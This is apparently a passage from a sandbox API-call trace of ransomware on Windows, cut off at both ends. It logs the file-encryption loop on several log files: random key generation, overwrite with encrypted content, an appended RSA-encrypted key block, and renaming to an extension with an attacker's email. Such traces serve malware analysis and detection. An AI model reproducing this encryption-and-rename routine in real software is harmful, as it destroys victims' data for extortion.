users\\usoshared\\logs\\updatesessionorchestration.002.etl.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0154.077] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x6102a0 | out: hHeap=0x570000) returned 1 [0154.077] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5ccc10 | out: hHeap=0x570000) returned 1 [0154.077] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x6534b0 | out: hHeap=0x570000) returned 1 [0154.077] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x57e1d0 | out: hHeap=0x570000) returned 1 [0154.077] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x90) returned 0x652c60 [0154.077] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5ccb20 [0154.077] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0154.077] SetFileAttributesW (lpFileName="\\Users\\All Users\\USOShared\\Logs\\UpdateSessionOrchestration.001.etl", dwFileAttributes=0x80) returned 1 [0154.077] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x90) returned 0x652a00 [0154.077] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xe0) returned 0x610558 [0154.077] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x652a00 | out: hHeap=0x570000) returned 1 [0154.077] CreateFileW (lpFileName="\\Users\\All Users\\USOShared\\Logs\\UpdateSessionOrchestration.001.etl" (normalized: "c:\\users\\all users\\usoshared\\logs\\updatesessionorchestration.001.etl"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0154.077] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x610558 | out: hHeap=0x570000) returned 1 [0154.077] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5ccb20 | out: hHeap=0x570000) returned 1 [0154.077] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x652c60 | out: hHeap=0x570000) returned 1 [0154.077] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a10c8 | out: hHeap=0x570000) returned 1 [0154.077] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5d2580 [0154.077] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5cc940 [0154.077] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0154.077] SetFileAttributesW (lpFileName="\\Users\\All Users\\USOShared\\Logs\\NotificationUxBroker.017.etl", dwFileAttributes=0x80) returned 1 [0154.082] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5d1ae0 [0154.082] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xd0) returned 0x5b0b30 [0154.083] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5d1ae0 | out: hHeap=0x570000) returned 1 [0154.083] CreateFileW (lpFileName="\\Users\\All Users\\USOShared\\Logs\\NotificationUxBroker.017.etl" (normalized: "c:\\users\\all users\\usoshared\\logs\\notificationuxbroker.017.etl"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x694 [0154.083] GetFileSizeEx (in: hFile=0x694, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=12288) returned 1 [0154.083] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x3000) returned 0x6538b0 [0154.083] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x3000) returned 0x6568b8 [0154.083] ReadFile (in: hFile=0x694, lpBuffer=0x6538b0, nNumberOfBytesToRead=0x3000, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x6538b0*, lpNumberOfBytesRead=0x2e3f9b4*=0x3000, lpOverlapped=0x0) returned 1 [0154.129] SetFilePointer (in: hFile=0x694, lDistanceToMove=-12288, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0154.129] WriteFile (in: hFile=0x694, lpBuffer=0x6568b8*, nNumberOfBytesToWrite=0x3000, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x6568b8*, lpNumberOfBytesWritten=0x2e3f9b4*=0x3000, lpOverlapped=0x0) returned 1 [0154.129] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x6538b0 | out: hHeap=0x570000) returned 1 [0154.129] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x6568b8 | out: hHeap=0x570000) returned 1 [0154.129] SetFilePointer (in: hFile=0x694, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x3000 [0154.129] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0154.129] WriteFile (in: hFile=0x694, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0154.129] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0154.129] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0154.129] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0154.130] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2be) returned 0x5c1ce8 [0154.130] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5c1ce8, pcchString=0x2e3f9a8 | out: pszString="Admn5jbOzjqEqAn9rDIvctXnG7+F4OaHj6QU7kmto53x3pcRiAPGij5Mr7KgExE6\n1LQHlETZxBFBGRIpZ4jiHr2Ifq5m7UBGxamewBEzUvYNaB/Ou15hZEj+PBNacc0C\nnIIN6Bebsp+mNpuYlZ8QsdAFizyN1pBehmf+Qr+IwVSm9Od0iLS4xZSVZiT8r78Z\niHqpAsQDIQdfETIcCksOhD7wh1fx6ViI/OVsJ1SM1MHQZXQJyzVuP85MFeOc03vt\nCwjDhTaUuJdrBMH9OLLGpsyKLLKoaMHpi09qMzxdzOkMoYspy3nM5Hne4g2FgaYU\nyO0HnCUX8c/xMHimfLVinw==\n", pcchString=0x2e3f9a8) returned 1 [0154.130] WriteFile (in: hFile=0x694, lpBuffer=0x5c1ce8*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5c1ce8*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0154.130] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0154.130] WriteFile (in: hFile=0x694, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0154.130] CloseHandle (hObject=0x694) returned 1 [0154.130] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c1ce8 | out: hHeap=0x570000) returned 1 [0154.130] MoveFileExW (lpExistingFileName="\\Users\\All Users\\USOShared\\Logs\\NotificationUxBroker.017.etl" (normalized: "c:\\users\\all users\\usoshared\\logs\\notificationuxbroker.017.etl"), lpNewFileName="\\Users\\All Users\\USOShared\\Logs\\NotificationUxBroker.017.etl.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\all users\\usoshared\\logs\\notificationuxbroker.017.etl.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0154.132] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b0b30 | out: hHeap=0x570000) returned 1 [0154.132] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5cc940 | out: hHeap=0x570000) returned 1 [0154.132] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5d2580 | out: hHeap=0x570000) returned 1 [0154.132] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5d19d0 | out: hHeap=0x570000) returned 1 [0154.132] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5d2690 [0154.132] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5cc800 [0154.132] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0154.132] SetFileAttributesW (lpFileName="\\Users\\All Users\\USOShared\\Logs\\NotificationUxBroker.016.etl", dwFileAttributes=0x80) returned 1 [0154.135] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5d2360 [0154.135] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xd0) returned 0x5b0a58 [0154.135] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5d2360 | out: hHeap=0x570000) returned 1 [0154.135] CreateFileW (lpFileName="\\Users\\All Users\\USOShared\\Logs\\NotificationUxBroker.016.etl" (normalized: "c:\\users\\all users\\usoshared\\logs\\notificationuxbroker.016.etl"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x694 [0154.136] GetFileSizeEx (in: hFile=0x694, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=8192) returned 1 [0154.136] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2000) returned 0x6538b0 [0154.136] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2000) returned 0x6558b8 [0154.136] ReadFile (in: hFile=0x694, lpBuffer=0x6538b0, nNumberOfBytesToRead=0x2000, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x6538b0*, lpNumberOfBytesRead=0x2e3f9b4*=0x2000, lpOverlapped=0x0) returned 1 [0154.165] SetFilePointer (in: hFile=0x694, lDistanceToMove=-8192, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0154.165] WriteFile (in: hFile=0x694, lpBuffer=0x6558b8*, nNumberOfBytesToWrite=0x2000, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x6558b8*, lpNumberOfBytesWritten=0x2e3f9b4*=0x2000, lpOverlapped=0x0) returned 1 [0154.165] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x6538b0 | out: hHeap=0x570000) returned 1 [0154.165] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x6558b8 | out: hHeap=0x570000) returned 1 [0154.165] SetFilePointer (in: hFile=0x694, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x2000 [0154.166] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0154.166] WriteFile (in: hFile=0x694, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0154.166] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0154.166] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0154.166] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0154.166] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2be) returned 0x5c1ce8 [0154.166] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5c1ce8, pcchString=0x2e3f9a8 | out: pszString="p7ZtNCba0/UXaTi9utc0HST2DkTvlR/sOKx23H3ymcV9+ar58GU+tbzKR0r/KLOe\n5bMn9nj+i3VgQ4BReJrUHDRxhfcRCVYy0RvrRaC34+cTEWwe0ejvAJGa1wrnp8M3\n7E1gs/eVNCMLErRRVQ6jnr2CY636I6Wfxbh8JFhJi4xjDylvHjOUotTN5kQb+9V3\nxOoDN4k24RgMZzvae6c8/X+FWTZHwpzFBhpcMSavmvPX7DMSaQ+ESn6D2OgiC6HO\noRzrPOAD6z+hOhmPBukf8jZmkwHHnV+JjApiIl9XJPFKC1FZbMlD0706clOlGlc6\nfQtDBGWq6b6KsaJVw4YRqg==\n", pcchString=0x2e3f9a8) returned 1 [0154.166] WriteFile (in: hFile=0x694, lpBuffer=0x5c1ce8*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5c1ce8*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0154.167] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0154.167] WriteFile (in: hFile=0x694, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0154.167] CloseHandle (hObject=0x694) returned 1 [0154.167] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c1ce8 | out: hHeap=0x570000) returned 1 [0154.167] MoveFileExW (lpExistingFileName="\\Users\\All Users\\USOShared\\Logs\\NotificationUxBroker.016.etl" (normalized: "c:\\users\\all users\\usoshared\\logs\\notificationuxbroker.016.etl"), lpNewFileName="\\Users\\All Users\\USOShared\\Logs\\NotificationUxBroker.016.etl.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\all users\\usoshared\\logs\\notificationuxbroker.016.etl.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0154.168] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b0a58 | out: hHeap=0x570000) returned 1 [0154.168] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5cc800 | out: hHeap=0x570000) returned 1 [0154.168] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5d2690 | out: hHeap=0x570000) returned 1 [0154.168] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b6ca0 | out: hHeap=0x570000) returned 1 [0154.168] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5d1ae0 [0154.168] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5cc940 [0154.168] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0154.168] SetFileAttributesW (lpFileName="\\Users\\All Users\\USOShared\\Logs\\NotificationUxBroker.015.etl", dwFileAttributes=0x80) returned 1 [0154.169] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5d2030 [0154.169] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xd0) returned 0x5b11f0 [0154.169] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5d2030 | out: hHeap=0x570000) returned 1 [0154.169] CreateFileW (lpFileName="\\Users\\All Users\\USOShared\\Logs\\NotificationUxBroker.015.etl" (normalized: "c:\\users\\all users\\usoshared\\logs\\notificationuxbroker.015.etl"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x694 [0154.169] GetFileSizeEx (in: hFile=0x694, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=8192) returned 1 [0154.169] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2000) returned 0x6538b0 [0154.169] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2000) returned 0x6558b8 [0154.169] ReadFile (in: hFile=0x694, lpBuffer=0x6538b0, nNumberOfBytesToRead=0x2000, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x6538b0*, lpNumberOfBytesRead=0x2e3f9b4*=0x2000, lpOverlapped=0x0) returned 1 [0154.175] SetFilePointer (in: hFile=0x694, lDistanceToMove=-8192, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0154.175] WriteFile (in: hFile=0x694, lpBuffer=0x6558b8*, nNumberOfBytesToWrite=0x2000, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x6558b8*, lpNumberOfBytesWritten=0x2e3f9b4*=0x2000, lpOverlapped=0x0) returned 1 [0154.175] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x6538b0 | out: hHeap=0x570000) returned 1 [0154.175] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x6558b8 | out: hHeap=0x570000) returned 1 [0154.175] SetFilePointer (in: hFile=0x694, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x2000 [0154.176] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0154.176] WriteFile (in: hFile=0x694, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0154.176] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0154.176] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0154.176] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0154.176] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2be) returned 0x5c1ce8 [0154.176] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5c1ce8, pcchString=0x2e3f9a8 | out: pszString="9i/OhNNdavsGOnRCbaj6fQkIrqauwIV1cA4FupdIhQzmqiQkLnuEVjCvzp4dw5AL\nytZ4RmW+ly4CeQYUq2/Q4LRW8cmatbKAWqadi7jXdgsYmf6ghnreepaffALnMr5Q\n4HKGWqNGNvhVjHhHuwCeWCHWGJyO8N7en0BuUv+NJswe29xNXYJxW73tx5KlSVIj\n/yFa84o614bRHOwP1IS1WyIyHg+YN8IM++oRl8zUTBxka2uxakUAd/2OXOcJmRHp\nGuVPsIIhjbpDfSxcngHMNwRnWVqANNUfgUG3oUENn34Vy54KEsRSC2nZvrCSlIsM\nBBZV9CkYbk5jNC8ksN9Cfg==\n", pcchString=0x2e3f9a8) returned 1 [0154.176] WriteFile (in: hFile=0x694, lpBuffer=0x5c1ce8*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5c1ce8*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0154.176] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0154.176] WriteFile (in: hFile=0x694, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0154.176] CloseHandle (hObject=0x694) returned 1 [0154.176] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c1ce8 | out: hHeap=0x570000) returned 1 [0154.177] MoveFileExW (lpExistingFileName="\\Users\\All Users\\USOShared\\Logs\\NotificationUxBroker.015.etl" (normalized: "c:\\users\\all users\\usoshared\\logs\\notificationuxbroker.015.etl"), lpNewFileName="\\Users\\All Users\\USOShared\\Logs\\NotificationUxBroker.015.etl.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\all users\\usoshared\\logs\\notificationuxbroker.015.etl.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0154.178] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b11f0 | out: hHeap=0x570000) returned 1 [0154.178] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5cc940 | out: hHeap=0x570000) returned 1 [0154.178] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5d1ae0 | out: hHeap=0x570000) returned 1 [0154.178] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b7278 | out: hHeap=0x570000) returned 1 [0154.178] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5d2690 [0154.179] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5cc940 [0154.179] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0154.179] SetFileAttributesW (lpFileName="\\Users\\All Users\\USOShared\\Logs\\NotificationUxBroker.014.etl", dwFileAttributes=0x80) returned 1 [0154.179] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5d1e98 [0154.179] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xd0) returned 0x5b1550 [0154.179] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5d1e98 | out: hHeap=0x570000) returned 1 [0154.179] CreateFileW (lpFileName="\\Users\\All Users\\USOShared\\Logs\\NotificationUxBroker.014.etl" (normalized: "c:\\users\\all users\\usoshared\\logs\\notificationuxbroker.014.etl"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x694 [0154.179] GetFileSizeEx (in: hFile=0x694, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=8192) returned 1 [0154.180] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2000) returned 0x6538b0 [0154.180] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2000) returned 0x6558b8 [0154.180] ReadFile (in: hFile=0x694, lpBuffer=0x6538b0, nNumberOfBytesToRead=0x2000, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x6538b0*, lpNumberOfBytesRead=0x2e3f9b4*=0x2000, lpOverlapped=0x0) returned 1 [0154.263] SetFilePointer (in: hFile=0x694, lDistanceToMove=-8192, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0154.263] WriteFile (in: hFile=0x694, lpBuffer=0x6558b8*, nNumberOfBytesToWrite=0x2000, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x6558b8*, lpNumberOfBytesWritten=0x2e3f9b4*=0x2000, lpOverlapped=0x0) returned 1 [0154.263] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x6538b0 | out: hHeap=0x570000) returned 1 [0154.263] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x6558b8 | out: hHeap=0x570000) returned 1 [0154.263] SetFilePointer (in: hFile=0x694, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x2000 [0154.263] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0154.263] WriteFile (in: hFile=0x694, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0154.263] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0154.263] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0154.264] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0154.264] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2be) returned 0x5c1ce8 [0154.264] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5c1ce8, pcchString=0x2e3f9a8 | out: pszString="IVMqQX3cOEc5UatDMX60YUtGRJ4dLCWmAM7+utGNz1NrF6U3UMVyfcexCxSThAYM\nMQwA9baGTSNzLrb6whspXlsgQMA4dSQ+kig1/V1kWEwvlqfG9+D8F3RCh/e3Dk3v\n+Wk8CVFKn0UHcZoWnVdjMIIAEjQVzAH5CwftpnD6PvIpMg1WgMcZNyGa/2pWtQjs\nZv3AzIblntQS7wgheJPwTg6oISMQuX2+2WFkAtDMeuO4mhqezc+8QreLA1XSAFsW\nWtLT0svp1bNO7Inokp+4C/u9IJ75MSsnoUlUgdVEpSh/6D3sjG4eLon64KEy9i1g\n3rM8Xf3fRez7u9lbD/fvBQ==\n", pcchString=0x2e3f9a8) returned 1 [0154.264] WriteFile (in: hFile=0x694, lpBuffer=0x5c1ce8*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5c1ce8*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0154.264] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0154.264] WriteFile (in: hFile=0x694, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0154.264] CloseHandle (hObject=0x694) returned 1 [0154.264] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c1ce8 | out: hHeap=0x570000) returned 1 [0154.264] MoveFileExW (lpExistingFileName="\\Users\\All Users\\USOShared\\Logs\\NotificationUxBroker.014.etl" (normalized: "c:\\users\\all users\\usoshared\\logs\\notificationuxbroker.014.etl"), lpNewFileName="\\Users\\All Users\\USOShared\\Logs\\NotificationUxBroker.014.etl.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\all users\\usoshared\\logs\\notificationuxbroker.014.etl.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0154.265] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b1550 | out: hHeap=0x570000) returned 1 [0154.265] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5cc940 